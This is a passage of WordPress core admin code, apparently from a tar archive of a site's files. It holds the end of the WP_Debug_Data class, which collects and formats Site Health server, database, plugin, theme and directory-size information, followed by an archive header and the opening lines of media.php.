			'value' => PHP_SAPI,
			'debug' => PHP_SAPI,
		);

		// Some servers disable `ini_set()` and `ini_get()`, we check this before trying to get configuration values.
		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-server']['fields']['ini_get'] = array(
				'label' => __( 'Server settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			$info['wp-server']['fields']['max_input_variables'] = array(
				'label' => __( 'PHP max input variables' ),
				'value' => ini_get( 'max_input_vars' ),
			);
			$info['wp-server']['fields']['time_limit']          = array(
				'label' => __( 'PHP time limit' ),
				'value' => ini_get( 'max_execution_time' ),
			);

			if ( WP_Site_Health::get_instance()->php_memory_limit !== ini_get( 'memory_limit' ) ) {
				$info['wp-server']['fields']['memory_limit']       = array(
					'label' => __( 'PHP memory limit' ),
					'value' => WP_Site_Health::get_instance()->php_memory_limit,
				);
				$info['wp-server']['fields']['admin_memory_limit'] = array(
					'label' => __( 'PHP memory limit (only for admin screens)' ),
					'value' => ini_get( 'memory_limit' ),
				);
			} else {
				$info['wp-server']['fields']['memory_limit'] = array(
					'label' => __( 'PHP memory limit' ),
					'value' => ini_get( 'memory_limit' ),
				);
			}

			$info['wp-server']['fields']['max_input_time']      = array(
				'label' => __( 'Max input time' ),
				'value' => ini_get( 'max_input_time' ),
			);
			$info['wp-server']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Upload max filesize' ),
				'value' => ini_get( 'upload_max_filesize' ),
			);
			$info['wp-server']['fields']['php_post_max_size']   = array(
				'label' => __( 'PHP post max size' ),
				'value' => ini_get( 'post_max_size' ),
			);
		}

		if ( function_exists( 'curl_version' ) ) {
			$curl = curl_version();

			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => sprintf( '%s %s', $curl['version'], $curl['ssl_version'] ),
			);
		} else {
			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => $not_available,
				'debug' => 'not available',
			);
		}

		// SUHOSIN.
		$suhosin_loaded = ( extension_loaded( 'suhosin' ) || ( defined( 'SUHOSIN_PATCH' ) && constant( 'SUHOSIN_PATCH' ) ) );

		$info['wp-server']['fields']['suhosin'] = array(
			'label' => __( 'Is SUHOSIN installed?' ),
			'value' => ( $suhosin_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $suhosin_loaded,
		);

		// Imagick.
		$imagick_loaded = extension_loaded( 'imagick' );

		$info['wp-server']['fields']['imagick_availability'] = array(
			'label' => __( 'Is the Imagick library available?' ),
			'value' => ( $imagick_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $imagick_loaded,
		);

		// Pretty permalinks.
		$pretty_permalinks_supported = got_url_rewrite();

		$info['wp-server']['fields']['pretty_permalinks'] = array(
			'label' => __( 'Are pretty permalinks supported?' ),
			'value' => ( $pretty_permalinks_supported ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $pretty_permalinks_supported,
		);

		// Check if a .htaccess file exists.
		if ( is_file( ABSPATH . '.htaccess' ) ) {
			// If the file exists, grab the content of it.
			$htaccess_content = file_get_contents( ABSPATH . '.htaccess' );

			// Filter away the core WordPress rules.
			$filtered_htaccess_content = trim( preg_replace( '/\# BEGIN WordPress[\s\S]+?# END WordPress/si', '', $htaccess_content ) );
			$filtered_htaccess_content = ! empty( $filtered_htaccess_content );

			if ( $filtered_htaccess_content ) {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Custom rules have been added to your %s file.' ), '.htaccess' );
			} else {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Your %s file contains only core WordPress features.' ), '.htaccess' );
			}

			$info['wp-server']['fields']['htaccess_extra_rules'] = array(
				'label' => __( '.htaccess rules' ),
				'value' => $htaccess_rules_string,
				'debug' => $filtered_htaccess_content,
			);
		}

		// Server time.
		$date = new DateTime( 'now', new DateTimeZone( 'UTC' ) );

		$info['wp-server']['fields']['current']     = array(
			'label' => __( 'Current time' ),
			'value' => $date->format( DateTime::ATOM ),
		);
		$info['wp-server']['fields']['utc-time']    = array(
			'label' => __( 'Current UTC time' ),
			'value' => $date->format( DateTime::RFC850 ),
		);
		$info['wp-server']['fields']['server-time'] = array(
			'label' => __( 'Current Server time' ),
			'value' => wp_date( 'c', $_SERVER['REQUEST_TIME'] ),
		);

		// Populate the database debug fields.
		if ( is_object( $wpdb->dbh ) ) {
			// mysqli or PDO.
			$extension = get_class( $wpdb->dbh );
		} else {
			// Unknown sql extension.
			$extension = null;
		}

		$server = $wpdb->get_var( 'SELECT VERSION()' );

		$client_version = $wpdb->dbh->client_info;

		$info['wp-database']['fields']['extension'] = array(
			'label' => __( 'Extension' ),
			'value' => $extension,
		);

		$info['wp-database']['fields']['server_version'] = array(
			'label' => __( 'Server version' ),
			'value' => $server,
		);

		$info['wp-database']['fields']['client_version'] = array(
			'label' => __( 'Client version' ),
			'value' => $client_version,
		);

		$info['wp-database']['fields']['database_user'] = array(
			'label'   => __( 'Database username' ),
			'value'   => $wpdb->dbuser,
			'private' => true,
		);

		$info['wp-database']['fields']['database_host'] = array(
			'label'   => __( 'Database host' ),
			'value'   => $wpdb->dbhost,
			'private' => true,
		);

		$info['wp-database']['fields']['database_name'] = array(
			'label'   => __( 'Database name' ),
			'value'   => $wpdb->dbname,
			'private' => true,
		);

		$info['wp-database']['fields']['database_prefix'] = array(
			'label'   => __( 'Table prefix' ),
			'value'   => $wpdb->prefix,
			'private' => true,
		);

		$info['wp-database']['fields']['database_charset'] = array(
			'label'   => __( 'Database charset' ),
			'value'   => $wpdb->charset,
			'private' => true,
		);

		$info['wp-database']['fields']['database_collate'] = array(
			'label'   => __( 'Database collation' ),
			'value'   => $wpdb->collate,
			'private' => true,
		);

		$info['wp-database']['fields']['max_allowed_packet'] = array(
			'label' => __( 'Max allowed packet size' ),
			'value' => self::get_mysql_var( 'max_allowed_packet' ),
		);

		$info['wp-database']['fields']['max_connections'] = array(
			'label' => __( 'Max connections number' ),
			'value' => self::get_mysql_var( 'max_connections' ),
		);

		// List must use plugins if there are any.
		$mu_plugins = get_mu_plugins();

		foreach ( $mu_plugins as $plugin_path => $plugin ) {
			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			$info['wp-mu-plugins']['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// List all available plugins.
		$plugins        = get_plugins();
		$plugin_updates = get_plugin_updates();
		$transient      = get_site_transient( 'update_plugins' );

		$auto_updates = array();

		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'plugin' );

		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );
		}

		foreach ( $plugins as $plugin_path => $plugin ) {
			$plugin_part = ( is_plugin_active( $plugin_path ) ) ? 'wp-plugins-active' : 'wp-plugins-inactive';

			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
				/* translators: %s: Latest plugin version number. */
				$plugin_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $plugin_updates[ $plugin_path ]->update->new_version );
				$plugin_version_string_debug .= sprintf( ' (latest version: %s)', $plugin_updates[ $plugin_path ]->update->new_version );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $plugin_path ] ) ) {
					$item = $transient->response[ $plugin_path ];
				} elseif ( isset( $transient->no_update[ $plugin_path ] ) ) {
					$item = $transient->no_update[ $plugin_path ];
				} else {
					$item = array(
						'id'            => $plugin_path,
						'slug'          => '',
						'plugin'        => $plugin_path,
						'new_version'   => '',
						'url'           => '',
						'package'       => '',
						'icons'         => array(),
						'banners'       => array(),
						'banners_rtl'   => array(),
						'tested'        => '',
						'requires_php'  => '',
						'compatibility' => new stdClass(),
					);
					$item = wp_parse_args( $plugin, $item );
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $plugin_path, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each plugin in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string $auto_updates_string The string output for the auto-updates column.
				 * @param string $plugin_path         The path to the plugin file.
				 * @param array  $plugin              An array of plugin data.
				 * @param bool   $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'plugin_auto_update_debug_string', $auto_updates_string, $plugin_path, $plugin, $enabled );

				$plugin_version_string       .= ' | ' . $auto_updates_string;
				$plugin_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info[ $plugin_part ]['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// Populate the section for the currently active theme.
		$theme_features = array();

		if ( ! empty( $_wp_theme_features ) ) {
			foreach ( $_wp_theme_features as $feature => $options ) {
				$theme_features[] = $feature;
			}
		}

		$active_theme  = wp_get_theme();
		$theme_updates = get_theme_updates();
		$transient     = get_site_transient( 'update_themes' );

		$active_theme_version       = $active_theme->version;
		$active_theme_version_debug = $active_theme_version;

		$auto_updates         = array();
		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'theme' );
		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}

		if ( array_key_exists( $active_theme->stylesheet, $theme_updates ) ) {
			$theme_update_new_version = $theme_updates[ $active_theme->stylesheet ]->update['new_version'];

			/* translators: %s: Latest theme version number. */
			$active_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_update_new_version );
			$active_theme_version_debug .= sprintf( ' (latest version: %s)', $theme_update_new_version );
		}

		$active_theme_author_uri = $active_theme->display( 'AuthorURI' );

		if ( $active_theme->parent_theme ) {
			$active_theme_parent_theme = sprintf(
				/* translators: 1: Theme name. 2: Theme slug. */
				__( '%1$s (%2$s)' ),
				$active_theme->parent_theme,
				$active_theme->template
			);
			$active_theme_parent_theme_debug = sprintf(
				'%s (%s)',
				$active_theme->parent_theme,
				$active_theme->template
			);
		} else {
			$active_theme_parent_theme       = __( 'None' );
			$active_theme_parent_theme_debug = 'none';
		}

		$info['wp-active-theme']['fields'] = array(
			'name'           => array(
				'label' => __( 'Name' ),
				'value' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$active_theme->name,
					$active_theme->stylesheet
				),
			),
			'version'        => array(
				'label' => __( 'Version' ),
				'value' => $active_theme_version,
				'debug' => $active_theme_version_debug,
			),
			'author'         => array(
				'label' => __( 'Author' ),
				'value' => wp_kses( $active_theme->author, array() ),
			),
			'author_website' => array(
				'label' => __( 'Author website' ),
				'value' => ( $active_theme_author_uri ? $active_theme_author_uri : __( 'Undefined' ) ),
				'debug' => ( $active_theme_author_uri ? $active_theme_author_uri : '(undefined)' ),
			),
			'parent_theme'   => array(
				'label' => __( 'Parent theme' ),
				'value' => $active_theme_parent_theme,
				'debug' => $active_theme_parent_theme_debug,
			),
			'theme_features' => array(
				'label' => __( 'Theme features' ),
				'value' => implode( ', ', $theme_features ),
			),
			'theme_path'     => array(
				'label' => __( 'Theme directory location' ),
				'value' => get_stylesheet_directory(),
			),
		);

		if ( $auto_updates_enabled ) {
			if ( isset( $transient->response[ $active_theme->stylesheet ] ) ) {
				$item = $transient->response[ $active_theme->stylesheet ];
			} elseif ( isset( $transient->no_update[ $active_theme->stylesheet ] ) ) {
				$item = $transient->no_update[ $active_theme->stylesheet ];
			} else {
				$item = array(
					'theme'        => $active_theme->stylesheet,
					'new_version'  => $active_theme->version,
					'url'          => '',
					'package'      => '',
					'requires'     => '',
					'requires_php' => '',
				);
			}

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

			if ( ! is_null( $auto_update_forced ) ) {
				$enabled = $auto_update_forced;
			} else {
				$enabled = in_array( $active_theme->stylesheet, $auto_updates, true );
			}

			if ( $enabled ) {
				$auto_updates_string = __( 'Enabled' );
			} else {
				$auto_updates_string = __( 'Disabled' );
			}

			/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
			$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $active_theme, $enabled );

			$info['wp-active-theme']['fields']['auto_update'] = array(
				'label' => __( 'Auto-updates' ),
				'value' => $auto_updates_string,
				'debug' => $auto_updates_string,
			);
		}

		$parent_theme = $active_theme->parent();

		if ( $parent_theme ) {
			$parent_theme_version       = $parent_theme->version;
			$parent_theme_version_debug = $parent_theme_version;

			if ( array_key_exists( $parent_theme->stylesheet, $theme_updates ) ) {
				$parent_theme_update_new_version = $theme_updates[ $parent_theme->stylesheet ]->update['new_version'];

				/* translators: %s: Latest theme version number. */
				$parent_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $parent_theme_update_new_version );
				$parent_theme_version_debug .= sprintf( ' (latest version: %s)', $parent_theme_update_new_version );
			}

			$parent_theme_author_uri = $parent_theme->display( 'AuthorURI' );

			$info['wp-parent-theme']['fields'] = array(
				'name'           => array(
					'label' => __( 'Name' ),
					'value' => sprintf(
						/* translators: 1: Theme name. 2: Theme slug. */
						__( '%1$s (%2$s)' ),
						$parent_theme->name,
						$parent_theme->stylesheet
					),
				),
				'version'        => array(
					'label' => __( 'Version' ),
					'value' => $parent_theme_version,
					'debug' => $parent_theme_version_debug,
				),
				'author'         => array(
					'label' => __( 'Author' ),
					'value' => wp_kses( $parent_theme->author, array() ),
				),
				'author_website' => array(
					'label' => __( 'Author website' ),
					'value' => ( $parent_theme_author_uri ? $parent_theme_author_uri : __( 'Undefined' ) ),
					'debug' => ( $parent_theme_author_uri ? $parent_theme_author_uri : '(undefined)' ),
				),
				'theme_path'     => array(
					'label' => __( 'Theme directory location' ),
					'value' => get_template_directory(),
				),
			);

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->response[ $parent_theme->stylesheet ];
				} elseif ( isset( $transient->no_update[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->no_update[ $parent_theme->stylesheet ];
				} else {
					$item = array(
						'theme'        => $parent_theme->stylesheet,
						'new_version'  => $parent_theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $parent_theme->stylesheet, $auto_updates, true );
				}

				if ( $enabled ) {
					$parent_theme_auto_update_string = __( 'Enabled' );
				} else {
					$parent_theme_auto_update_string = __( 'Disabled' );
				}

				/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
				$parent_theme_auto_update_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $parent_theme, $enabled );

				$info['wp-parent-theme']['fields']['auto_update'] = array(
					'label' => __( 'Auto-update' ),
					'value' => $parent_theme_auto_update_string,
					'debug' => $parent_theme_auto_update_string,
				);
			}
		}

		// Populate a list of all themes available in the install.
		$all_themes = wp_get_themes();

		foreach ( $all_themes as $theme_slug => $theme ) {
			// Exclude the currently active theme from the list of all themes.
			if ( $active_theme->stylesheet === $theme_slug ) {
				continue;
			}

			// Exclude the currently active parent theme from the list of all themes.
			if ( ! empty( $parent_theme ) && $parent_theme->stylesheet === $theme_slug ) {
				continue;
			}

			$theme_version = $theme->version;
			$theme_author  = $theme->author;

			// Sanitize.
			$theme_author = wp_kses( $theme_author, array() );

			$theme_version_string       = __( 'No version or author information is available.' );
			$theme_version_string_debug = 'undefined';

			if ( ! empty( $theme_version ) && ! empty( $theme_author ) ) {
				/* translators: 1: Theme version number. 2: Theme author name. */
				$theme_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $theme_version, $theme_author );
				$theme_version_string_debug = sprintf( 'version: %s, author: %s', $theme_version, $theme_author );
			} else {
				if ( ! empty( $theme_author ) ) {
					/* translators: %s: Theme author name. */
					$theme_version_string       = sprintf( __( 'By %s' ), $theme_author );
					$theme_version_string_debug = sprintf( 'author: %s, version: (undefined)', $theme_author );
				}

				if ( ! empty( $theme_version ) ) {
					/* translators: %s: Theme version number. */
					$theme_version_string       = sprintf( __( 'Version %s' ), $theme_version );
					$theme_version_string_debug = sprintf( 'author: (undefined), version: %s', $theme_version );
				}
			}

			if ( array_key_exists( $theme_slug, $theme_updates ) ) {
				/* translators: %s: Latest theme version number. */
				$theme_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_updates[ $theme_slug ]->update['new_version'] );
				$theme_version_string_debug .= sprintf( ' (latest version: %s)', $theme_updates[ $theme_slug ]->update['new_version'] );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $theme_slug ] ) ) {
					$item = $transient->response[ $theme_slug ];
				} elseif ( isset( $transient->no_update[ $theme_slug ] ) ) {
					$item = $transient->no_update[ $theme_slug ];
				} else {
					$item = array(
						'theme'        => $theme_slug,
						'new_version'  => $theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $theme_slug, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each theme in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string   $auto_updates_string The string output for the auto-updates column.
				 * @param WP_Theme $theme               An object of theme data.
				 * @param bool     $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $theme, $enabled );

				$theme_version_string       .= ' | ' . $auto_updates_string;
				$theme_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info['wp-themes-inactive']['fields'][ sanitize_text_field( $theme->name ) ] = array(
				'label' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$theme->name,
					$theme_slug
				),
				'value' => $theme_version_string,
				'debug' => $theme_version_string_debug,
			);
		}

		// Add more filesystem checks.
		if ( defined( 'WPMU_PLUGIN_DIR' ) && is_dir( WPMU_PLUGIN_DIR ) ) {
			$is_writable_wpmu_plugin_dir = wp_is_writable( WPMU_PLUGIN_DIR );

			$info['wp-filesystem']['fields']['mu-plugins'] = array(
				'label' => __( 'The must use plugins directory' ),
				'value' => ( $is_writable_wpmu_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
				'debug' => ( $is_writable_wpmu_plugin_dir ? 'writable' : 'not writable' ),
			);
		}

		/**
		 * Filters the debug information shown on the Tools -> Site Health -> Info screen.
		 *
		 * Plugin or themes may wish to introduce their own debug information without creating
		 * additional admin pages. They can utilize this filter to introduce their own sections
		 * or add more data to existing sections.
		 *
		 * Array keys for sections added by core are all prefixed with `wp-`. Plugins and themes
		 * should use their own slug as a prefix, both for consistency as well as avoiding
		 * key collisions. Note that the array keys are used as labels for the copied data.
		 *
		 * All strings are expected to be plain text except `$description` that can contain
		 * inline HTML tags (see below).
		 *
		 * @since 5.2.0
		 *
		 * @param array $args {
		 *     The debug information to be added to the core information page.
		 *
		 *     This is an associative multi-dimensional array, up to three levels deep.
		 *     The topmost array holds the sections, keyed by section ID.
		 *
		 *     @type array ...$0 {
		 *         Each section has a `$fields` associative array (see below), and each `$value` in `$fields`
		 *         can be another associative array of name/value pairs when there is more structured data
		 *         to display.
		 *
		 *         @type string $label       Required. The title for this section of the debug output.
		 *         @type string $description Optional. A description for your information section which
		 *                                   may contain basic HTML markup, inline tags only as it is
		 *                                   outputted in a paragraph.
		 *         @type bool   $show_count  Optional. If set to `true`, the amount of fields will be included
		 *                                   in the title for this section. Default false.
		 *         @type bool   $private     Optional. If set to `true`, the section and all associated fields
		 *                                   will be excluded from the copied data. Default false.
		 *         @type array  $fields {
		 *             Required. An associative array containing the fields to be displayed in the section,
		 *             keyed by field ID.
		 *
		 *             @type array ...$0 {
		 *                 An associative array containing the data to be displayed for the field.
		 *
		 *                 @type string $label    Required. The label for this piece of information.
		 *                 @type mixed  $value    Required. The output that is displayed for this field.
		 *                                        Text should be translated. Can be an associative array
		 *                                        that is displayed as name/value pairs.
		 *                                        Accepted types: `string|int|float|(string|int|float)[]`.
		 *                 @type string $debug    Optional. The output that is used for this field when
		 *                                        the user copies the data. It should be more concise and
		 *                                        not translated. If not set, the content of `$value`
		 *                                        is used. Note that the array keys are used as labels
		 *                                        for the copied data.
		 *                 @type bool   $private  Optional. If set to `true`, the field will be excluded
		 *                                        from the copied data, allowing you to show, for example,
		 *                                        API keys here. Default false.
		 *             }
		 *         }
		 *     }
		 * }
		 */
		$info = apply_filters( 'debug_information', $info );

		return $info;
	}

	/**
	 * Returns the value of a MySQL system variable.
	 *
	 * @since 5.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $mysql_var Name of the MySQL system variable.
	 * @return string|null The variable value on success. Null if the variable does not exist.
	 */
	public static function get_mysql_var( $mysql_var ) {
		global $wpdb;

		$result = $wpdb->get_row(
			$wpdb->prepare( 'SHOW VARIABLES LIKE %s', $mysql_var ),
			ARRAY_A
		);

		if ( ! empty( $result ) && array_key_exists( 'Value', $result ) ) {
			return $result['Value'];
		}

		return null;
	}

	/**
	 * Formats the information gathered for debugging, in a manner suitable for copying to a forum or support ticket.
	 *
	 * @since 5.2.0
	 *
	 * @param array  $info_array Information gathered from the `WP_Debug_Data::debug_data()` function.
	 * @param string $data_type  The data type to return, either 'info' or 'debug'.
	 * @return string The formatted data.
	 */
	public static function format( $info_array, $data_type ) {
		$return = "`\n";

		foreach ( $info_array as $section => $details ) {
			// Skip this section if there are no fields, or the section has been declared as private.
			if ( empty( $details['fields'] ) || ( isset( $details['private'] ) && $details['private'] ) ) {
				continue;
			}

			$section_label = 'debug' === $data_type ? $section : $details['label'];

			$return .= sprintf(
				"### %s%s ###\n\n",
				$section_label,
				( isset( $details['show_count'] ) && $details['show_count'] ? sprintf( ' (%d)', count( $details['fields'] ) ) : '' )
			);

			foreach ( $details['fields'] as $field_name => $field ) {
				if ( isset( $field['private'] ) && true === $field['private'] ) {
					continue;
				}

				if ( 'debug' === $data_type && isset( $field['debug'] ) ) {
					$debug_data = $field['debug'];
				} else {
					$debug_data = $field['value'];
				}

				// Can be array, one level deep only.
				if ( is_array( $debug_data ) ) {
					$value = '';

					foreach ( $debug_data as $sub_field_name => $sub_field_value ) {
						$value .= sprintf( "\n\t%s: %s", $sub_field_name, $sub_field_value );
					}
				} elseif ( is_bool( $debug_data ) ) {
					$value = $debug_data ? 'true' : 'false';
				} elseif ( empty( $debug_data ) && '0' !== $debug_data ) {
					$value = 'undefined';
				} else {
					$value = $debug_data;
				}

				if ( 'debug' === $data_type ) {
					$label = $field_name;
				} else {
					$label = $field['label'];
				}

				$return .= sprintf( "%s: %s\n", $label, $value );
			}

			$return .= "\n";
		}

		$return .= '`';

		return $return;
	}

	/**
	 * Fetches the total size of all the database tables for the active database user.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int The size of the database, in bytes.
	 */
	public static function get_database_size() {
		global $wpdb;
		$size = 0;
		$rows = $wpdb->get_results( 'SHOW TABLE STATUS', ARRAY_A );

		if ( $wpdb->num_rows > 0 ) {
			foreach ( $rows as $row ) {
				$size += $row['Data_length'] + $row['Index_length'];
			}
		}

		return (int) $size;
	}

	/**
	 * Fetches the sizes of the WordPress directories: `wordpress` (ABSPATH), `plugins`, `themes`, and `uploads`.
	 * Intended to supplement the array returned by `WP_Debug_Data::debug_data()`.
	 *
	 * @since 5.2.0
	 *
	 * @return array The sizes of the directories, also the database size and total installation size.
	 */
	public static function get_sizes() {
		$size_db    = self::get_database_size();
		$upload_dir = wp_get_upload_dir();

		/*
		 * We will be using the PHP max execution time to prevent the size calculations
		 * from causing a timeout. The default value is 30 seconds, and some
		 * hosts do not allow you to read configuration values.
		 */
		if ( function_exists( 'ini_get' ) ) {
			$max_execution_time = ini_get( 'max_execution_time' );
		}

		/*
		 * The max_execution_time defaults to 0 when PHP runs from cli.
		 * We still want to limit it below.
		 */
		if ( empty( $max_execution_time ) ) {
			$max_execution_time = 30; // 30 seconds.
		}

		if ( $max_execution_time > 20 ) {
			/*
			 * If the max_execution_time is set to lower than 20 seconds, reduce it a bit to prevent
			 * edge-case timeouts that may happen after the size loop has finished running.
			 */
			$max_execution_time -= 2;
		}

		/*
		 * Go through the various installation directories and calculate their sizes.
		 * No trailing slashes.
		 */
		$paths = array(
			'wordpress_size' => untrailingslashit( ABSPATH ),
			'themes_size'    => get_theme_root(),
			'plugins_size'   => WP_PLUGIN_DIR,
			'uploads_size'   => $upload_dir['basedir'],
		);

		$exclude = $paths;
		unset( $exclude['wordpress_size'] );
		$exclude = array_values( $exclude );

		$size_total = 0;
		$all_sizes  = array();

		// Loop over all the directories we want to gather the sizes for.
		foreach ( $paths as $name => $path ) {
			$dir_size = null; // Default to timeout.
			$results  = array(
				'path' => $path,
				'raw'  => 0,
			);

			if ( microtime( true ) - WP_START_TIMESTAMP < $max_execution_time ) {
				if ( 'wordpress_size' === $name ) {
					$dir_size = recurse_dirsize( $path, $exclude, $max_execution_time );
				} else {
					$dir_size = recurse_dirsize( $path, null, $max_execution_time );
				}
			}

			if ( false === $dir_size ) {
				// Error reading.
				$results['size']  = __( 'The size cannot be calculated. The directory is not accessible. Usually caused by invalid permissions.' );
				$results['debug'] = 'not accessible';

				// Stop total size calculation.
				$size_total = null;
			} elseif ( null === $dir_size ) {
				// Timeout.
				$results['size']  = __( 'The directory size calculation has timed out. Usually caused by a very large number of sub-directories and files.' );
				$results['debug'] = 'timeout while calculating size';

				// Stop total size calculation.
				$size_total = null;
			} else {
				if ( null !== $size_total ) {
					$size_total += $dir_size;
				}

				$results['raw']   = $dir_size;
				$results['size']  = size_format( $dir_size, 2 );
				$results['debug'] = $results['size'] . " ({$dir_size} bytes)";
			}

			$all_sizes[ $name ] = $results;
		}

		if ( $size_db > 0 ) {
			$database_size = size_format( $size_db, 2 );

			$all_sizes['database_size'] = array(
				'raw'   => $size_db,
				'size'  => $database_size,
				'debug' => $database_size . " ({$size_db} bytes)",
			);
		} else {
			$all_sizes['database_size'] = array(
				'size'  => __( 'Not available' ),
				'debug' => 'not available',
			);
		}

		if ( null !== $size_total && $size_db > 0 ) {
			$total_size    = $size_total + $size_db;
			$total_size_mb = size_format( $total_size, 2 );

			$all_sizes['total_size'] = array(
				'raw'   => $total_size,
				'size'  => $total_size_mb,
				'debug' => $total_size_mb . " ({$total_size} bytes)",
			);
		} else {
			$all_sizes['total_size'] = array(
				'size'  => __( 'Total size is not available. Some errors were encountered when determining the size of your installation.' ),
				'debug' => 'not available',
			);
		}

		return $all_sizes;
	}
}
media.php.tar000064400000352000150275632050007126 0ustar00home/natitnen/crestassured.com/wp-admin/includes/media.php000064400000346315150274224150017730 0ustar00<?php
/**
 * WordPress Administration Media API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Defines the default media upload tabs.
 *
 * @since 2.5.0
 *
 * @return string[] Default tabs.
 */
function media_upload_tabs() {
	$_default_tabs = array(
